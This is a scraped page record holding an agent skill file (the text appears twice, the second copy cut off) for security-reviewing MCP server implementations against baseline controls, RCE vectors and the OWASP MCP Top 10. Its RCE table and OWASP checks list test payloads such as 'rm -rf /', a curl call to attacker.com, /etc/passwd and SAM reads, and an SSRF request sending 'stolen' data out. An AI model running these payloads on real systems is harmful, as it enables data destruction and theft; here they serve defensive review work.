[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M77MWRRCAAXQF2EHCDVDPSK9":3,"skill-same:01M77MWRRCAAXQF2EHCDVDPSK9":46},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":6,"ownerHtmlUrl":29,"ownerBlogUrl":30,"ownerDescription":6,"updatedAt":31,"install":32,"resources":45},"01M77MWRRCAAXQF2EHCDVDPSK9","mcp-implementation-security-review",null,"Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file\u002Fline evidence. Use this skill when:\n- Reviewing an MCP server implementation for security before release\n- Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10\n- Auditing tools for RCE vectors (command\u002Fcode injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)\n- Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server\n- Reviewing MCP client code that handles untrusted server responses and session IDs\n- Requests like \"review this MCP server for security\" or \"is my MCP server implementation secure?\"","Reihantt6\u002Fsns-myagent","Reihantt6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F219822095?v=4","01M77KK94PV8B7C2D9XWXNS8DJ","Mohamad Reihan tegar prasetya","01M77KK958QFMTHYXGXFV7KZ79",2,"MIT","https:\u002F\u002Fgithub.com\u002FReihantt6\u002Fsns-myagent\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fmcp-implementation-security-review\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: mcp-implementation-security-review\ndescription: |\n  Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file\u002Fline evidence. Use this skill when:\n  - Reviewing an MCP server implementation for security before release\n  - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10\n  - Auditing tools for RCE vectors (command\u002Fcode injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)\n  - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server\n  - Reviewing MCP client code that handles untrusted server responses and session IDs\n  - Requests like \"review this MCP server for security\" or \"is my MCP server implementation secure?\"\n---\n\n# MCP Implementation Security Review\n\n## Process\n\n### Step 1 — Classify the target\n- Check **MCP protocol version [2025-03-26](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-03-26) or later** (current: [2025-11-25](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-11-25)). Flag older versions as a finding but continue the review.\n- Determine whether the target is a **server** or **client**.\n- Classify transport as **network-exposed** or **local-only** using the transport reference below.\n- Record transport, protocol version, and whether sessions exist.\n\n**Completion criterion:** Target type, protocol status, and transport are identified.\n\n### Step 2 — Filter false positives\n- Apply the **False Positive Filters** before opening findings.\n- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.\n- For framework\u002FSDK repositories, scope findings to the **default configuration** and **public API surface**.\n\n**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.\n\n### Step 3 — Check baseline controls\n- For **network-exposed servers**, check **MCP-01** through **MCP-05**.\n- For **local\u002FSTDIO servers**, do not mark baseline controls PASS\u002FFAIL; give best-practice notes and continue to RCE review.\n- For **clients**, only review token\u002Fsession handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.\n\n**Completion criterion:** Each applicable control has a supported status.\n\n### Step 4 — Check RCE vectors\n- Review all 7 RCE vectors.\n- Mark each vector **SAFE**, **AT RISK**, or **N\u002FA**.\n- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.\n\n**Completion criterion:** Every relevant tool has an RCE result or explicit N\u002FA.\n\n### Step 5 — Check OWASP MCP Top 10\n- Evaluate all 10 OWASP risks below.\n- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.\n- For local\u002FSTDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N\u002FA.\n- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.\n\n**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.\n\n### Step 6 — Report\n- Use the **Compliance Output Format** below.\n- Include file\u002Fline references in every justification.\n- Separate code findings from manual follow-ups.\n- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.\n\n**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.\n\n## Reference\n\n### Decision rules\n- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.\n- **Local\u002FSTDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.\n- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.\n- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.\n- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.\n- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.\n- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.\n\n### Transport classification\n\n**Network-exposed (enforce all controls):**\n\n| Pattern | Transport |\n|---|---|\n| `transport=\"http\"` or `transport=\"sse\"` | HTTP\u002FSSE |\n| `StreamableHttpServerTransport` | HTTP (TS\u002FJS) |\n| `SSEServerTransport` | SSE (TS\u002FJS) |\n| `WithHttpTransport()` | HTTP (C#) |\n| `host=\"0.0.0.0\"` | All-interfaces binding |\n| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |\n| `EXPOSE` in Dockerfile + MCP server | Network-exposed |\n\n**Local-only (best practices only):**\n\n| Pattern | Transport |\n|---|---|\n| `StdioServerTransport` | STDIO (TS\u002FJS) |\n| `WithStdioServerTransport()` | STDIO (C#) |\n| `transport=\"stdio\"` | STDIO |\n| `mcp.run()` with no args (Python FastMCP) | STDIO default |\n| `.vscode\u002Fmcp.json` with `command` key and no URL | STDIO child process |\n\n**Host binding gotchas:**\n\n| Binding | Actual exposure |\n|---|---|\n| `host=\"0.0.0.0\"` | 🔴 Network-exposed |\n| `host=\"127.0.0.1\"` or `localhost` | 🟢 Local-only |\n| No explicit host (Express\u002FNode) | 🔴 Defaults to `0.0.0.0` |\n| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |\n| Docker `ports: \"8000:8000\"` | 🔴 Network-exposed even if the process binds `127.0.0.1` inside the container |\n\n### False Positive Filters\n\n| FP pattern | How to detect |\n|---|---|\n| `.github\u002Fskills\u002F` templates | Path contains `.github\u002Fskills\u002F` — skill template, not server code |\n| Vendored SDK \u002F OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules\u002F`, `vendor\u002F` |\n| MCP client configs | `.vscode\u002Fmcp.json` with `inputs`\u002F`servers` but no server code |\n| Documentation \u002F tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |\n| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |\n\nDocs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.\n\n## Controls Reference\n\n### MCP-01 — Identity isolation\n**Scope:** Remote MCP servers\n\n**Condition**\n- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.\n- Use a **unique server-specific application identity** and audience\u002Fresource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.\n- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth\u002FMCP bootstrapping: `\u002F.well-known\u002Foauth-protected-resource`, `\u002F.well-known\u002Foauth-authorization-server`, `\u002F.well-known\u002Fopenid-configuration`.\n\n**What to check**\n- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.\n- Identity config shows a dedicated application\u002Fclient\u002Fresource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.\n- Discovery endpoints return metadata only and cannot execute tools or expose protected data.\n\n**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.\n\n### MCP-02 — Sessions\n**Scope:** Remote MCP servers that support sessions\n\n**Applicability**\n- No session identifiers issued or used anywhere → mark **N\u002FA** (per-request auth is still required; see MCP-01).\n- Sessions managed by the transport\u002FSDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation\u002Fbinding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.\n- Session identifiers present in code → score **PASS\u002FFAIL** against the conditions below.\n\n**Condition**\n- Authenticate and authorize **every** request; session state never substitutes for token validation.\n- Session IDs are opaque correlation\u002Fcontinuity tokens only; they do not grant privileges, encode authorization, or bypass auth.\n- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.\n\n**What to check**\n- Middleware validates tokens per request, not only when a session starts.\n- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.\n- Session creation uses random IDs (GUID v4\u002FCSPRNG acceptable; sequential or time-based IDs are not).\n\n**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.\n\n### MCP-03 — Rate limits\n**Scope:** MCP servers and tools\n\n**Condition**\n- Enforce rate limits and abuse protection on tool discovery and tool invocation.\n- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.\n- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.\n\n**What to check**\n- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.\n- Limits are keyed by identity and session, with tighter budgets for write\u002Fhigh-cost operations.\n- Exceeded requests stop before backend action and return 429 with Retry-After.\n\n**Starting thresholds** (tune to actual load, downstream limits, and cost):\n\n| Tool type | Per-identity | Per-session | Notes |\n|---|---|---|---|\n| Read-only \u002F listing | 100\u002Fmin | 200\u002Fmin | Lower if downstream APIs are sensitive |\n| Mutation \u002F write | 10\u002Fmin | 20\u002Fmin | Stricter for state-changing ops |\n| High-cost compute | 5\u002Fmin | 10\u002Fmin | Cost-weighted; watch cloud spend |\n| Tool discovery | 30\u002Fmin | 60\u002Fmin | Prevents enumeration abuse |\n\n**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.\n\n### MCP-04 — Schema validation\n**Scope:** MCP servers exposing tools with structured arguments\n\n**Condition**\n- Validate **all** tool arguments against explicit schemas **before execution**.\n- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).\n- Validation runs server-side on every invocation; invalid input fails closed with a 400\u002FMCP error and no backend action.\n\n**What to check**\n- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.\n- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.\n- Negative tests reject malformed input, extra properties, and bounds violations.\n\n**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.\n\n### MCP-05 — SDK-first\n**Scope:** Remote MCP servers\n\n**Condition**\n- Build remote MCP servers on an **official MCP SDK** for your server's language:\n  - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol\u002Ftypescript-sdk), Python (modelcontextprotocol\u002Fpython-sdk), C#\u002F.NET (modelcontextprotocol\u002Fcsharp-sdk), Go (modelcontextprotocol\u002Fgo-sdk)\n  - **Tier 2\u002F3 (developing):** Java (modelcontextprotocol\u002Fjava-sdk), Kotlin (modelcontextprotocol\u002Fkotlin-sdk), Rust (modelcontextprotocol\u002Frust-sdk), Swift (modelcontextprotocol\u002Fswift-sdk), PHP (modelcontextprotocol\u002Fphp-sdk), Ruby (modelcontextprotocol\u002Fruby-sdk)\n- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.\n- Keep the SDK current and patched, and verify which controls are automatic versus manual.\n\n**What to check**\n- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP\u002FSSE stack.\n- If no SDK is used, the repo contains direct evidence for auth\u002Fauthz, sessions, rate limits, and schema validation.\n- Dependency pinning and update hygiene show the SDK is maintained.\n\n**Key pitfall:** Hand-rolled servers often miss one \"small\" primitive—per-request auth, throttling, or validation—and the gaps compound.\n\n## RCE Vectors\n\n| Vector | Dangerous code | Safe alternative | Test payload | CWE |\n|---|---|---|---|---|\n| Command injection | `exec(\"convert \" + args.filename)`, `os.system(f\"process {user_input}\")`, `Process.Start(\"cmd\", \"\u002Fc \" + toolArg)` | `execFile(\"convert\", [args.filename])`, `subprocess.run([\"process\", user_input], shell=False)` | `; rm -rf \u002F`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |\n| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |\n| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |\n| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read\u002Fwrite\u002Fexecute | `..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd`, `C:\\Windows\\System32\\config\\SAM`, `..\\..\\..\\.env` must be rejected | CWE-22 |\n| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `\u003C%= 7*7 %>` must not render `49` | CWE-1336 |\n| Dependency hijacking | Unpinned deps such as `\"lodash\": \"^4.0.0\"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted\u002Fscoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |\n| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes\u002Fdomains, block RFC1918 and link-local targets, validate URLs before sending | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`, `http:\u002F\u002Flocalhost:8080\u002Fadmin`, `http:\u002F\u002Fattacker.com\u002F?data=stolen` must be rejected | CWE-918 |\n\n## OWASP MCP Top 10\n\n**MCP01:2025 — Token Mismanagement & Secret Exposure**\nTest: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived\u002Frotated tokens.\nPass: No hardcoded secrets, sensitive fields redacted, short-lived\u002Frotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.\n\n**MCP02:2025 — Privilege Escalation via Scope Creep**\nTest: Review scopes\u002Froles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.\nPass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.\n\n**MCP03:2025 — Tool Poisoning**\nTest: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.\nPass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.\n\n**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**\nTest: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.\nPass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.\n\n**MCP05:2025 — Command Injection & Execution**\nTest: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat \u002Fetc\u002Fpasswd`.\nPass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.\n\n**MCP06:2025 — Prompt Injection via Contextual Payloads**\nTest: Check whether tool output goes back to the LLM, whether external content is sanitized\u002Ftruncated\u002Fsandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.\nPass: Tool outputs are data, untrusted content is sanitized\u002Ftruncated\u002Fsandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.\n\n**MCP07:2025 — Insufficient Authentication & Authorization**\nTest: Send requests without auth and with expired\u002Finvalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.\nPass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.\n\n**MCP08:2025 — Lack of Audit and Telemetry**\nTest: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.\nPass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.\n\n**MCP09:2025 — Shadow MCP Servers**\nTest: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev\u002Fstaging isolation; verify an owner and review trail.\nPass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev\u002Ftest exposure into production networks, or no ownership.\n\n**MCP10:2025 — Context Injection & Over-Sharing**\nTest: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.\nPass: Minimal data is returned, sensitive fields are masked\u002Fexcluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.\n\n## Compliance Output Format\n\nIn every summary table below, the **Justification** cell must cite specific file\u002Fline evidence for the status.\n\n### Control summary\n\n| Control | Name | Status | Justification |\n|---|---|---|---|\n| MCP-01 | Auth & Identity isolation | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION \u002F N\u002FA | … |\n| MCP-02 | Secure Session Management | … | … |\n| MCP-03 | Rate limiting & abuse protection | … | … |\n| MCP-04 | Input schema validation | … | … |\n| MCP-05 | Production SDK usage | … | … |\n\nUse **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.\n\n### RCE summary\n\n| Vector | Status | Justification |\n|---|---|---|\n| Command injection | SAFE \u002F AT RISK \u002F N\u002FA | … |\n| Dynamic code evaluation | … | … |\n| Unsafe deserialization | … | … |\n| Path traversal | … | … |\n| SSTI | … | … |\n| Dependency hijacking | … | … |\n| SSRF | … | … |\n\n### OWASP summary\n\n| Risk | Status | Justification |\n|---|---|---|\n| MCP01:2025 | ✅ PASS \u002F ❌ FAIL \u002F ⚠️ NEEDS INVESTIGATION | … |\n| MCP02:2025 | … | … |\n| MCP03:2025 | … | … |\n| MCP04:2025 | … | … |\n| MCP05:2025 | … | … |\n| MCP06:2025 | … | … |\n| MCP07:2025 | … | … |\n| MCP08:2025 | … | … |\n| MCP09:2025 | … | … |\n| MCP10:2025 | … | … |\n\n### Manual follow-ups\nList every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.\n\n## Exception process\n- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.\n- **Get explicit approval:** Route the exception through security\u002Frelease approval with an owner and an expiration or review date.\n- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.\n","# MCP Implementation Security Review\n\n## Process\n\n### Step 1 — Classify the target\n- Check **MCP protocol version [2025-03-26](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-03-26) or later** (current: [2025-11-25](https:\u002F\u002Fmodelcontextprotocol.io\u002Fspecification\u002F2025-11-25)). Flag older versions as a finding but continue the review.\n- Determine whether the target is a **server** or **client**.\n- Classify transport as **network-exposed** or **local-only** using the transport reference below.\n- Record transport, protocol version, and whether sessions exist.\n\n**Completion criterion:** Target type, protocol status, and transport are identified.\n\n### Step 2 — Filter false positives\n- Apply the **False Positive Filters** before opening findings.\n- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.\n- For framework\u002FSDK repositories, scope findings to the **default configuration** and **public API surface**.\n\n**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.\n\n### Step 3 — Check baseline controls\n- For **network-exposed servers**, check **MCP-01** through **MCP-05**.\n- For **local\u002FSTDIO servers**, do not mark baseline controls PASS\u002FFAIL; give best-practice notes and continue to RCE review.\n- For **clients**, only review token\u002Fsession handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.\n\n**Completion criterion:** Each applicable control has a supported status.\n\n### Step 4 — Check RCE vectors\n- Review all 7 RCE vectors.\n- Mark each vector **SAFE**, **AT RISK**, or **N\u002FA**.\n- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.\n\n**Completion criterion:** Every relevant tool has an RCE result or explicit N\u002FA.\n\n### Step 5 — Check OWASP MCP Top 10\n- Evaluate all 10 OWASP risks below.\n- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.\n- For local\u002FSTDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N\u002FA.\n- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.\n\n**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.\n\n### Step 6 — Report\n- Use the **Compliance Output Format** below.\n- Include file\u002Fline references in every justification.\n- Separate code findings from manual follow-ups.\n- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.\n\n**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.\n\n## Reference\n\n### Decision rules\n- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.\n- **Local\u002FSTDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.\n- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.\n- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.\n- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.\n- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.\n- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.\n\n### Transport classification\n\n**Network-exposed (enforce all controls):**\n\n| Pattern | Transport |\n|---|---|\n| `transport=\"http\"` or `transport=\"sse\"` | HTTP\u002FSSE |\n| `StreamableHttpServerTransport` | HTTP (TS\u002FJS) |\n| `SSEServerTransport` | SSE (TS\u002FJS) |\n| `WithHttpTransport()` | HTTP (C#) |\n| `host=\"0.0.0.0\"` | All-interfaces binding |\n| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |\n| `EXPOSE` in Dockerfile + MCP server | Network-exposed |\n\n**Local-only (best practices only):**\n\n| Pattern | Transport |\n|---|---|\n| `StdioServerTransport` | STDIO (TS\u002FJS) |\n| `WithStdioServerTransport()` | STDIO (C#) |\n| `transport=\"stdio\"` | STDIO |\n| `mcp.run()` with no args (Python FastMCP) | STDIO default |\n| `.vscode\u002Fmcp.json` with `command` key and no URL | STDIO child process |\n\n**Host binding gotchas:**\n\n| Binding | Actual exposure |\n|---|---|\n| `host=\"0.0.0.0\"` | 🔴 Network-exposed |\n| `host=\"127.0.0.1\"` or `localhost` | 🟢 Local-only |\n| No explicit host (Express\u002FNode) | 🔴 Defaults to `0.0.0.0` |\n| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |\n| Docker `ports: \"8000:8000\"` | 🔴 Network-exposed even if the process binds `127.0.0.1` inside the container |\n\n### False Positive Filters\n\n| FP pattern | How to detect |\n|---|---|\n| `.github\u002Fskills\u002F` templates | Path contains `.github\u002Fskills\u002F` — skill template, not server code |\n| Vendored SDK \u002F OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules\u002F`, `vendor\u002F` |\n| MCP client configs | `.vscode\u002Fmcp.json` with `inputs`\u002F`servers` but no server code |\n| Documentation \u002F tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |\n| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |\n\nDocs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.\n\n## Controls Reference\n\n### MCP-01 — Identity isolation\n**Scope:** Remote MCP servers\n\n**Condition**\n- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.\n- Use a **unique server-specific application identity** and audience\u002Fresource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.\n- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth\u002FMCP bootstrapping: `\u002F.well-known\u002Foauth-protected-resource`, `\u002F.well-known\u002Foauth-authorization-server`, `\u002F.well-known\u002Fopenid-configuration`.\n\n**What to check**\n- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.\n- Identity config shows a dedicated application\u002Fclient\u002Fresource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.\n- Discovery endpoints return metadata only and cannot execute tools or expose protected data.\n\n**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.\n\n### MCP-02 — Sessions\n**Scope:** Remote MCP servers that support sessions\n\n**Applicability**\n- No session identifiers issued or used anywhere → mark **N\u002FA** (per-request auth is still required; see MCP-01).\n- Sessions managed by the transport\u002FSDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation\u002Fbinding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.\n- Session identifiers present in code → score **PASS\u002FFAIL** against the conditions below.\n\n**Condition**\n- Authenticate and authorize **every** request; session state never substitutes for token validation.\n- Session IDs are opaque correlation\u002Fcontinuity tokens only; they do not grant privileges, encode authorization, or bypass auth.\n- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.\n\n**What to check**\n- Middleware validates tokens per request, not only when a session starts.\n- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.\n- Session creation uses random IDs (GUID v4\u002FCSPRNG acceptable; sequential or time-based IDs are not).\n\n**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.\n\n### MCP-03 — Rate limits\n**Scope:** MCP servers and tools\n\n**Condition**\n- Enforce rate limits and abuse protection on tool discovery and tool invocation.\n- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.\n- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.\n\n**What to check**\n- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.\n- Limits are keyed by identity and session, with tighter budgets for write\u002Fhigh-cost operations.\n- Exceeded requests stop before backend action and return 429 with Retry-After.\n\n**Starting thresholds** (tune to actual load, downstream limits, and cost):\n\n| Tool type | Per-identity | Per-session | Notes |\n|---|---|---|---|\n| Read-only \u002F listing | 100\u002Fmin | 200\u002Fmin | Lower if downstream APIs are sensitive |\n| Mutation \u002F write | 10\u002Fmin | 20\u002Fmin | Stricter for state-changing ops |\n| High-cost compute | 5\u002Fmin | 10\u002Fmin | Cost-weighted; watch cloud spend |\n| Tool discovery | 30\u002Fmin | 60\u002Fmin | Prevents enumeration abuse |\n\n**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.\n\n### MCP-04 — Schema validation\n**Scope:** MCP servers exposing tools with structured arguments\n\n**Condition**\n- Validate **all** tool arguments against explicit schemas **before execution**.\n- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).\n- Validation runs server-side on every invocation; invalid input fails closed with a 400\u002FMCP error and no backend action.\n\n**What to check**\n- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.\n- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.\n- Negative tests reject malformed input, extra properties, and bounds violations.\n\n**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.\n\n### MCP-05 — SDK-first\n**Scope:** Remote MCP servers\n\n**Condition**\n- Build remote MCP servers on an **official MCP SDK** for your server's language:\n  - **Tier 1 (fully supported):** TypeScript (modelcontextprotocol\u002Ftypescript-sdk), Python (modelcontextprotocol\u002Fpython-sdk), C#\u002F.NET (modelcontextprotocol\u002Fcsharp-sdk), Go (modelcontextprotocol\u002Fgo-sdk)\n  - **Tier 2\u002F3 (developing):** Java (modelcontextprotocol\u002Fjava-sdk), Kotlin (modelcontextprotocol\u002Fkotlin-sdk), Rust (modelcontextprotocol\u002Frust-sdk), Swift (modelcontextprotocol\u002Fswift-sdk), PHP (modelcontextprotocol\u002Fphp-sdk), Ruby (modelcontextprotocol\u002Fruby-sdk)\n- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.\n- Keep the SDK current and patched, and verify which controls are automatic versus manual.\n\n**What to check**\n- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP\u002FSSE stack.\n- If no SDK is used, the repo contains direct evidence for auth\u002Fauthz, sessions, rate limits, and schema validation.\n- 